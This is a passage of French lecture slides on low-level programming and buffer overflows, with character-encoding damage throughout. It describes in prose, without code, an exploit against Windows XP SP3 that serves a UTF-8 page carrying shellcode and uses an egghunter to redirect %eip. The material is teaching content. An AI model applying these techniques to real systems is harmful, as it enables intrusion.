Lors de lincrmentation de p, dans la boucle imbrique, il ny a en e e eet rien qui empche le pointeur de dpasser la n du buer. e e
ISIDIS : cours 60 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un exemple rigolo (2)

Lexploit (pour Windows XP pack 3) se composait alors dun serveur HTTP qui, lorsquil est contact par un navigateur e internet, envoie une page HTML encode en UTF-8 contenant un e lien dont lURL est termine par un caract`re multi-byte avec un e e shellcode. Dans lattaque, il y avait un egghunter qui se chargait de rechercher un prxe reconnaissable dans la mmoire et e e damener le registre %eip ` ladresse du code malveillant (sous la a forme de la page HTML). Il sagit donc de localiser en mmoire le e code ` excuter, et dy faire pointer le registre %eip. a e

ISIDIS : cours

61 / 62

A la semaine prochaine